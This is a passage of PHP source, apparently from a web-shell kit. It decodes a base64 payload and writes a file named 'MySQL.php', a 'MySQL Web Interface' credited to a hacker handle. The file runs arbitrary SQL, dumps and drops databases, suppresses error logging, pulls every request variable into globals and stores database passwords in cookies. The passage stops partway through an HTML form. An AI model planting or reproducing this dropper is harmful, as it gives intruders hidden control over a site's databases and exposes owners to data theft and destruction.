byAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD4tIFN1Y2Nlc3M8L2ZvbnQ+IjsKCQkJZWxzZQoJCQkJ
ZWNobyAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD4tIEZhaWw8L2ZvbnQ+IjsKCQl9CgkJZWNobyAi
PGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5M
b2dzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2xvZ3MiICkgewoJCQlpZiggbXlz
cWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9IGZhbHNlICkKCQkJCWVjaG8gIjxmb250IHNpemU9
MiBjb2xvcj1yZWQ+LSBTdWNjZXNzPC9mb250PiI7CgkJCWVsc2UKCQkJCWVjaG8gIjxmb250IHNp
emU9MiBjb2xvcj1yZWQ+LSBGYWlsPC9mb250PiI7CgkJfQoJCWVjaG8gIjxsaT48YSBocmVmPSck
UEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfcHJpdmlsZWdlcyc+UHJpdmlsZWdl
czwvYT5cbiI7CgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9wcml2aWxlZ2VzIiApIHsKCQkJaWYo
IG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8
Zm9udCBzaXplPTIgY29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hv
ICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8bGk+
PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3RhYmxlcyc+VGFi
bGVzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7CgkJCWlmKCBt
eXNxbF9xdWVyeSggIkZsdXNoIHRhYmxlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8Zm9udCBz
aXplPTIgY29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hvICI8Zm9u
dCBzaXplPTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8bGk+PGEgaHJl
Zj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9h
PlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3N0YXR1cyIgKSB7CgkJCWlmKCBteXNxbF9x
dWVyeSggIkZsdXNoIHN0YXR1cyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8Zm9udCBzaXplPTIg
Y29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hvICI8Zm9udCBzaXpl
PTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8L3VsPlxuIjsKCX0gZWxz
ZSB7CgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsKCQkk
cFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgKTsKCQlpZiggJHBSZXN1bHQgPT0gZmFs
c2UgKSB7CgkJCWVjaG8gIkZhaWwiOwoJCQlyZXR1cm47CgkJfQoJCSRjb2wgPSBteXNxbF9udW1f
ZmllbGRzKCAkcFJlc3VsdCApOwoKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8
L3A+XG4iOwoJCWVjaG8gIjxocj5cbiI7CgoJCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNl
bGxwYWRkaW5nPTIgYm9yZGVyPTA+XG4iOwoJCWVjaG8gIjx0cj5cbiI7CgkJZm9yKCAkaSA9IDA7
ICRpIDwgJGNvbDsgJGkrKyApIHsKCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVz
dWx0LCAkaSApOwoJCQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUuIjwvdGg+XG4iOwoJCX0KCQll
Y2hvICI8L3RyPlxuIjsKCgkJd2hpbGUoIDEgKSB7CgkJCSRyb3dBcnJheSA9IG15c3FsX2ZldGNo
X3JvdyggJHBSZXN1bHQgKTsKCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOwoJCQll
Y2hvICI8dHI+XG4iOwoJCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkKCQkJCWVjaG8g
Ijx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7CgkJCWVj
aG8gIjwvdHI+XG4iOwoJCX0KCQllY2hvICI8L3RhYmxlPlxuIjsKCX0KfQoKZnVuY3Rpb24gaGVh
ZGVyX2h0bWwoKSB7CglnbG9iYWwgJFBIUF9TRUxGOwoJCmVjaG8gJwo8aHRtbD4KPGhlYWQ+Cjx0
aXRsZT5NeVNRTCBJbnRlcmZhY2U8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0t
CnAubG9jYXRpb24gewoJY29sb3I6ICMxMWJiMzM7Cglmb250LXNpemU6IHNtYWxsOwp9CmgxIHsK
CWNvbG9yOiAjQTRBMjYwOwp9CnRoIHsKCWJhY2tncm91bmQtY29sb3I6ICNCREJFNDI7Cgljb2xv
cjogI0ZGRkZGRjsKCWZvbnQtc2l6ZTogeC1zbWFsbDsKfQp0ZCB7CgliYWNrZ3JvdW5kLWNvbG9y
OiAjREVERkE1OwoJZm9udC1zaXplOiB4LXNtYWxsOwp9CmZvcm0gewoJbWFyZ2luLXRvcDogMDsK
CW1hcmdpbi1ib3R0b206IDA7Cn0KYSB7Cgl0ZXh0LWRlY29yYXRpb246bm9uZTsKCWNvbG9yOiAj
ODQ4MjAwOwoJZm9udC1zaXplOngtc21hbGw7Cn0KYTpsaW5rIHsKfQphOmhvdmVyIHsKCWJhY2tn
cm91bmQtY29sb3I6I0VFRUZENTsKCWNvbG9yOiM2NDYyMDA7Cgl0ZXh0LWRlY29yYXRpb246bm9u
ZSAgICAgICAgICAgICAgIAp9Ci8vLS0+Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cic7Cn0KCmZ1
bmN0aW9uIGZvb3Rlcl9odG1sKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRh
YmxlbmFtZSwgJFBIUF9TRUxGLCAkVVNFUk5BTUU7CgoJZWNobyAiPGhyPlxuIjsKCWVjaG8gIjxm
b250IHNpemU9MiBjb2xvcj1ibHVlPlskVVNFUk5BTUVdPC9mb250PiAtIFxuIjsKCgllY2hvICI8
YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3REQnMnPkRhdGFiYXNlIExpc3Q8L2E+IHwgXG4i
OwoJaWYoICR0YWJsZW5hbWUgIT0gIiIgKQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rp
b249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUg
TGlzdDwvYT4gfCAiOwoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyc+VXRp
bHM8L2E+IHxcbiI7CgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxvZ291dCc+TG9n
b3V0PC9hPlxuIjsKCWVjaG8gIjwvZm9udD5cbiI7CgllY2hvICI8L2JvZHk+XG4iOwoJZWNobyAi
PC9odG1sPlxuIjsKfQoKCgoKLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLwpl
cnJvcl9yZXBvcnRpbmcoMCk7CmluaV9zZXQgKCdkaXNwbGF5X2Vycm9ycycsIDApOwppbmlfc2V0
ICgnbG9nX2Vycm9ycycsIDApOwoKaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09
ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQoJbG9nb24oKTsKZWxzZSBpZiggJGFjdGlvbiA9
PSAibG9nb25fc3VibWl0IiApCglsb2dvbl9zdWJtaXQoKTsKZWxzZSBpZiggJGFjdGlvbiA9PSAi
ZHVtcFRhYmxlIiB8fCAkYWN0aW9uID09ICJkdW1wREIiICkgewoJd2hpbGUoIGxpc3QoJHZhciwg
JHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgewoJCWlmKCAkdmFyID09ICJteXNx
bF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOwoJCWlmKCAkdmFyID09
ICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICkgJFBBU1NXT1JEID0gJHZhbHVlOwoJCWlmKCAk
dmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOwoJ
fQoJJG15c3FsSGFuZGxlID0gbXlzcWxfcGNvbm5lY3QoICRIT1NUTkFNRSwgJFVTRVJOQU1FLCAk
UEFTU1dPUkQgKTsKCWR1bXAoKTsKfSBlbHNlIHsKCXdoaWxlKCBsaXN0KCR2YXIsICR2YWx1ZSkg
PSBlYWNoKCRIVFRQX0NPT0tJRV9WQVJTKSApIHsKCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2Fk
bWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsKCQlpZiggJHZhciA9PSAibXlzcWxf
d2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsKCQlpZiggJHZhciA9PSAi
bXlzcWxfd2ViX2FkbWluX2hvc3RuYW1lIiApICRIT1NUTkFNRSA9ICR2YWx1ZTsKCX0KCWVjaG8g
IjwhLS0iOwoJJG15c3FsSGFuZGxlID0gbXlzcWxfcGNvbm5lY3QoICRIT1NUTkFNRSwgJFVTRVJO
QU1FLCAkUEFTU1dPUkQgKTsKCWVjaG8gIi0tPiI7CgoJaWYoICRteXNxbEhhbmRsZSA9PSBmYWxz
ZSApIHsKCQllY2hvICI8aHRtbD5cbiI7CgkJZWNobyAiPGhlYWQ+XG4iOwoJCWVjaG8gIjx0aXRs
ZT5NeVNRTCBJbnRlcmZhY2U8L3RpdGxlPlxuIjsKCQllY2hvICI8L2hlYWQ+XG4iOwoJCWVjaG8g
Ijxib2R5PlxuIjsKCQllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT48dHI+PHRk
PjxjZW50ZXI+XG4iOwoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsKCQllY2hv
ICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxvZ29uJz5Mb2dvbjwvYT5cbiI7CgkJZWNobyAi
PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOwoJCWVjaG8gIjwvYm9keT5cbiI7CgkJZWNo
byAiPC9odG1sPlxuIjsKCX0gZWxzZSB7CgkJaGVhZGVyX2h0bWwoKTsKCQlpZiggJGFjdGlvbiA9
PSAibGlzdERCcyIgKQoJCQlsaXN0RGF0YWJhc2VzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAi
Y3JlYXRlREIiICkKCQkJY3JlYXRlRGF0YWJhc2UoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJk
cm9wREIiICkKCQkJZHJvcERhdGFiYXNlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRh
YmxlcyIgKQoJCQlsaXN0VGFibGVzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlVGFi
bGUiICkKCQkJY3JlYXRlVGFibGUoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wVGFibGUi
ICkKCQkJZHJvcFRhYmxlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQoJ
CQl2aWV3U2NoZW1hKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkKCQkJdmlld0Rh
dGEoICRxdWVyeVN0ciApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkIiApCgkJCW1h
bmFnZUZpZWxkKCAiYWRkIiApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1p
dCIgKQoJCQltYW5hZ2VGaWVsZF9zdWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9
PSAiZWRpdEZpZWxkIiApCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0
aW9uID09ICJlZGl0RmllbGRfc3VibWl0IiApCgkJCW1hbmFnZUZpZWxkX3N1Ym1pdCggImVkaXQi
ICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApCgkJCWRyb3BGaWVsZCgpOwoJ
CWVsc2UgaWYoICRhY3Rpb24gPT0gInZpZXdEYXRhIiApCgkJCXZpZXdEYXRhKCAiIiApOwoJCWVs
c2UgaWYoICRhY3Rpb24gPT0gImFkZERhdGEiICkKCQkJbWFuYWdlRGF0YSggImFkZCIgKTsKCQll
bHNlIGlmKCAkYWN0aW9uID09ICJhZGREYXRhX3N1Ym1pdCIgKQoJCQltYW5hZ2VEYXRhX3N1Ym1p
dCggImFkZCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQoJCQltYW5hZ2VE
YXRhKCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YV9zdWJtaXQiICkK
CQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRl
bGV0ZURhdGEiICkKCQkJZGVsZXRlRGF0YSgpOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxz
IiApCgkJCXV0aWxzKCk7CgoJCW15c3FsX2Nsb3NlKCAkbXlzcWxIYW5kbGUpOwoJCWZvb3Rlcl9o
dG1sKCk7Cgl9Cn0KCj8+';
    file_put_contents('MySQL.php', "<?php\n\n/*\n * MySQL Web Interface Version 2\n * -------------------------------\n * Developed By sNiper_hEx\n*/\n\nif ( function_exists('ini_get') ) {\n\t\$onoff = ini_get('register_globals');\n} else {\n\t\$onoff = get_cfg_var('register_globals');\n}\nif (\$onoff != 1) {\n\t@extract(\$HTTP_SERVER_VARS, EXTR_SKIP);\n\t@extract(\$HTTP_COOKIE_VARS, EXTR_SKIP);\n\t@extract(\$HTTP_POST_FILES, EXTR_SKIP);\n\t@extract(\$HTTP_POST_VARS, EXTR_SKIP);\n\t@extract(\$HTTP_GET_VARS, EXTR_SKIP);\n\t@extract(\$HTTP_ENV_VARS, EXTR_SKIP);\n}\n\nfunction logon() {\n\tglobal \$PHP_SELF;\n\n\tsetcookie( \"mysql_web_admin_username\" );\n\tsetcookie( \"mysql_web_admin_password\" );\n\tsetcookie( \"mysql_web_admin_hostname\" );\n\techo \"<html>\\n\";\n\techo \"<head>\\n\";\n\techo \"<title>MySQL Interface</title>\\n\";\n\techo \"</head>\\n\";\n\techo \"<body>\\n\";\n\techo \"<table width=100% height=100%><tr><td><center>\\n\";\n\techo \"<table cellpadding=2><tr><td bgcolor=#a4a260><center>\\n\";\n\techo \"<table cellpadding=20><tr><td bgcolor=#ffffff><center>\\n\";\n\techo \"<h1>MySQL Web Interface</h1>\\n\";\n\techo \"<form action='\$PHP_SELF'>\\n\";\n\techo \"<input type=hidden name=action value=logon_submit>\\n\";\n\techo \"<table cellpadding=5 cellspacing=1>\\n\";\n\techo \"<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\\n\";\n\techo \"<tr><td>Username </td><td> <input type=text name=username></td></tr>\\n\";\n\techo \"<tr><td>Password </td><td> <input type=password name=password></td></tr>\\n\";\n\techo \"</table><p>\\n\";\n\techo \"<input type=submit value='Enter'>\\n\";\n\techo \"<input type=reset value='Clear'><br>\\n\";\n\techo \"</form>\\n\";\n\techo \"</center></td></tr></table>\\n\";\n\techo \"</center></td></tr></table>\\n\";\n\techo \"<p><hr width=300>\\n\";\n\techo \"</center></td></tr></table>\\n\";\n\techo \"</body>\\n\";\n\techo \"</html>\\n\";\n}\n\nfunction logon_submit() {\n\tglobal \$username, \$password, \$hostname ,\$PHP_SELF;\n\tif(\$hostname =='')\n\t\t\$hostname = 'localhost';\n\tsetcookie( \"mysql_web_admin_username\", \$username );\n\tsetcookie( \"mysql_web_admin_password\", \$password );\n\tsetcookie( \"mysql_web_admin_hostname\", \$hostname );\n\techo \"<html>\";\n\techo \"<head>\";\n\techo \"<META HTTP-EQUIV=Refresh CONTENT='0; URL=\$PHP_SELF?action=listDBs'>\";\n\techo \"</head>\";\n\techo \"</html>\";\n}\n\nfunction echoQueryResult() {\n\tglobal \$queryStr, \$errMsg;\n\n\tif( \$errMsg == \"\" ) \$errMsg = \"Success\";\n\tif( \$queryStr != \"\" ) {\n\t\techo \"<table cellpadding=5>\\n\";\n\t\techo \"<tr><td>Query</td><td>\$queryStr</td></tr>\\n\";\n\t\techo \"<tr><td>Result</td><td>\$errMsg</td></tr>\\n\";\n\t\techo \"</table><p>\\n\";\n\t}\n}\n\nfunction listDatabases() {\n\tglobal \$mysqlHandle, \$PHP_SELF;\n\n\techo \"<h1>Databases List</h1>\\n\";\n\n\techo \"<form action='\$PHP_SELF'>\\n\";\n\techo \"<input type=hidden name=action value=createDB>\\n\";\n\techo \"<input type=text name=dbname>\\n\";\n\techo \"<input type=submit value='Create Database'>\\n\";\n\techo \"</form>\\n\";\n\techo \"<hr>\\n\";\n\n\techo \"<table cellspacing=1 cellpadding=5>\\n\";\n\n\t\$pDB = mysql_list_dbs( \$mysqlHandle );\n\t\$num = mysql_num_rows( \$pDB );\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\$dbname = mysql_dbname( \$pDB, \$i );\n\t\techo \"<tr>\\n\";\n\t\techo \"<td>\$dbname</td>\\n\";\n\t\techo \"<td><a href='\$PHP_SELF?action=listTables&dbname=\$dbname'>Tables</a></td>\\n\";\n\t\techo \"<td><a href='\$PHP_SELF?action=dropDB&dbname=\$dbname' onClick=\\\"return confirm('Drop Database \\'\$dbname\\'?')\\\">Drop</a></td>\\n\";\n\t\techo \"<td><a href='\$PHP_SELF?action=dumpDB&dbname=\$dbname' onClick=\\\"return confirm('Dump Database \\'\$dbname\\'?')\\\">Dump</a></td>\\n\";\n\t\techo \"</tr>\\n\";\n\t}\n\techo \"</table>\\n\";\n}\n\nfunction createDatabase() {\n\tglobal \$mysqlHandle, \$dbname, \$PHP_SELF;\n\n\tmysql_create_db( \$dbname, \$mysqlHandle );\n\tlistDatabases();\n}\n\nfunction dropDatabase() {\n\tglobal \$mysqlHandle, \$dbname, \$PHP_SELF;\n\n\tmysql_drop_db( \$dbname, \$mysqlHandle );\n\tlistDatabases();\n}\n\nfunction listTables() {\n\tglobal \$mysqlHandle, \$dbname, \$PHP_SELF;\n\n\n\techo \"<h1>Tables List</h1>\\n\";\n\techo \"<p class=location>\$dbname</p>\\n\";\n\techoQueryResult();\n\techo \"<form action='\$PHP_SELF'>\\n\";\n\techo \"<input type=hidden name=action value=createTable>\\n\";\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\n\techo \"<input type=text name=tablename>\\n\";\n\techo \"<input type=submit value='Create Table'>\\n\";\n\techo \"</form>\\n\";\n\techo \"<form action='\$PHP_SELF'>\\n\";\n\techo \"<input type=hidden name=action value=query>\\n\";\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\n\techo \"<input type=text size=120 name=queryStr>\\n\";\n\techo \"<input type=submit value='Query'>\\n\";\n\techo \"</form>\\n\";\n\techo \"<hr>\\n\";\n\n\t\$pTable = mysql_list_tables( \$dbname );\n\n\tif( \$pTable == 0 ) {\n\t\t\$msg  = mysql_error();\n\t\techo \"<h3>Error : \$msg</h3><p>\\n\";\n\t\treturn;\n\t}\n\t\$num = mysql_num_rows( \$pTable );\n\n\techo \"<table cellspacing=1 cellpadding=5>\\n\";\n\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\$tablename = mysql_tablename( \$pTable, \$i );\n\n\t\techo \"<tr>\\n\";\n\t\techo \"<td>\\n\";\n\t\techo \"\$tablename\\n\";\n\t\techo \"</td>\\n\";\n\t\techo \"<td>\\n\";\n\t\techo \"<a href='\$PHP_SELF?action=viewSchema&dbname=\$dbname&tablename=\$tablename'>Schema</a>\\n\";\n\t\techo \"</td>\\n\";\n\t\techo \"<td>\\n\";\n\t\techo \"<a href='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename'>Data</a>\\n\";\n\t\techo \"</td>\\n\";\n\t\techo \"<td>\\n\";\n\t\techo \"<a href='\$PHP_SELF?action=dropTable&dbname=\$dbname&tablename=\$tablename' onClick=\\\"return confirm('Drop Table \\'\$tablename\\'?')\\\">Drop</a>\\n\";\n\t\techo \"</td>\\n\";\n\t\techo \"<td>\\n\";\n\t\techo \"<a href='\$PHP_SELF?action=dumpTable&dbname=\$dbname&tablename=\$tablename' onClick=\\\"return confirm('Dump Table \\'\$tablename\\'?')\\\">Dump</a>\\n\";\n\t\techo \"</td>\\n\";\n\t\techo \"</tr>\\n\";\n\t}\n\n\techo \"</table>\";\n}\n\nfunction createTable() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\t\$queryStr = \"CREATE TABLE \$tablename ( no INT )\";\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\tmysql_query( \$queryStr, \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\tlistTables();\n}\n\nfunction dropTable() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\t\$queryStr = \"DROP TABLE \$tablename\";\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\tmysql_query( \$queryStr, \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\tlistTables();\n}\n\nfunction viewSchema() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\techo \"<h1>Table Schema</h1>\\n\";\n\techo \"<p class=location>\$dbname &gt; \$tablename</p>\\n\";\n\n\techoQueryResult();\n\n\techo \"<a href='\$PHP_SELF?action=addField&dbname=\$dbname&tablename=\$tablename'>Add Field</a> | \\n\";\n\techo \"<a href='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename'>View Data</a>\\n\";\n\techo \"<hr>\\n\";\n\n\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\n\t\$num = mysql_num_rows( \$pResult );\n\n\techo \"<table cellspacing=1 cellpadding=5>\\n\";\n\techo \"<tr>\\n\";\n\techo \"<th>Field</th>\\n\";\n\techo \"<th>Type</th>\\n\";\n\techo \"<th>Null</th>\\n\";\n\techo \"<th>Key</th>\\n\";\n\techo \"<th>Default</th>\\n\";\n\techo \"<th>Extra</th>\\n\";\n\techo \"<th colspan=2>Action</th>\\n\";\n\techo \"</tr>\\n\";\n\n\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\$field = mysql_fetch_array( \$pResult );\n\t\techo \"<tr>\\n\";\n\t\techo \"<td>\".\$field[\"Field\"].\"</td>\\n\";\n\t\techo \"<td>\".\$field[\"Type\"].\"</td>\\n\";\n\t\techo \"<td>\".\$field[\"Null\"].\"</td>\\n\";\n\t\techo \"<td>\".\$field[\"Key\"].\"</td>\\n\";\n\t\techo \"<td>\".\$field[\"Default\"].\"</td>\\n\";\n\t\techo \"<td>\".\$field[\"Extra\"].\"</td>\\n\";\n\t\t\$fieldname = \$field[\"Field\"];\n\t\techo \"<td><a href='\$PHP_SELF?action=editField&dbname=\$dbname&tablename=\$tablename&fieldname=\$fieldname'>Edit</a></td>\\n\";\n\t\techo \"<td><a href='\$PHP_SELF?action=dropField&dbname=\$dbname&tablename=\$tablename&fieldname=\$fieldname' onClick=\\\"return confirm('Drop Field \\'\$fieldname\\'?')\\\">Drop</a></td>\\n\";\n\t\techo \"</tr>\\n\";\n\t}\n\techo \"</table>\\n\";\n\n}\n\nfunction manageField( \$cmd ) {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF;\n\n\tif( \$cmd == \"add\" )\n\t\techo \"<h1>Add Field</h1>\\n\";\n\telse if( \$cmd == \"edit\" ) {\n\t\techo \"<h1>Edit Field</h1>\\n\";\n\t\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\n\t\t\$num = mysql_num_rows( \$pResult );\n\t\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\t\$field = mysql_fetch_array( \$pResult );\n\t\t\tif( \$field[\"Field\"] == \$fieldname ) {\n\t\t\t\t\$fieldtype = \$field[\"Type\"];\n\t\t\t\t\$fieldkey = \$field[\"Key\"];\n\t\t\t\t\$fieldextra = \$field[\"Extra\"];\n\t\t\t\t\$fieldnull = \$field[\"Null\"];\n\t\t\t\t\$fielddefault = \$field[\"Default\"];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\$type = strtok( \$fieldtype, \" (,)\\n\" );\n\t\tif( strpos( \$fieldtype, \"(\" ) ) {\n\t\t\tif( \$type == \"enum\" | \$type == \"set\" ) {\n\t\t\t\t\$valuelist = strtok( \" ()\\n\" );\n\t\t\t} else {\n\t\t\t\t\$M = strtok( \" (,)\\n\" );\n\t\t\t\tif( strpos( \$fieldtype, \",\" ) )\n\t\t\t\t\t\$D = strtok( \" (,)\\n\" );\n\t\t\t}\n\t\t}\n\t}\n\n\techo \"<p class=location>\$dbname &gt; \$tablename</p>\\n\";\n\techo \"<form action=\$PHP_SELF>\\n\";\n\n\tif( \$cmd == \"add\" )\n\t\techo \"<input type=hidden name=action value=addField_submit>\\n\";\n\telse if( \$cmd == \"edit\" ) {\n\t\techo \"<input type=hidden name=action value=editField_submit>\\n\";\n\t\techo \"<input type=hidden name=old_name value=\$fieldname>\\n\";\n\t}\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\n\techo \"<input type=hidden name=tablename value=\$tablename>\\n\";\n\n\techo \"<h3>Name</h3>\\n\";\n\techo \"<input type=text name=name value=\$fieldname><p>\\n\";\n\techo '\n\n<h3>Type</h3>\n\n<font size=2>\n* `M\\' indicates the maximum display size.<br>\n* `D\\' applies to floating-point types and indicates the number of digits following the decimal point.<br>\n</font>\n\n<table>\n<tr>\n<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TINYINT\" '; if( \$type == \"tinyint\" ) echo \"checked\";echo '>TINYINT (-128 ~ 127)</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"SMALLINT\" '; if( \$type == \"smallint\" ) echo \"checked\";echo '>SMALLINT (-32768 ~ 32767)</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"MEDIUMINT\" '; if( \$type == \"mediumint\" ) echo \"checked\";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>\n\n<td align=center>O</td>\n<td>&nbsp</td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"INT\" '; if( \$type == \"int\" ) echo \"checked\";echo '>INT (-2147483648 ~ 2147483647)</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"BIGINT\" '; if( \$type == \"bigint\" ) echo \"checked\";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"FLOAT\" '; if( \$type == \"float\" ) echo \"checked\";echo '>FLOAT</td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"DOUBLE\" '; if( \$type == \"double\" ) echo \"checked\";echo '>DOUBLE</td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"DECIMAL\" '; if( \$type == \"decimal\" ) echo \"checked\";echo '>DECIMAL(NUMERIC)</td>\n<td align=center>O</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type 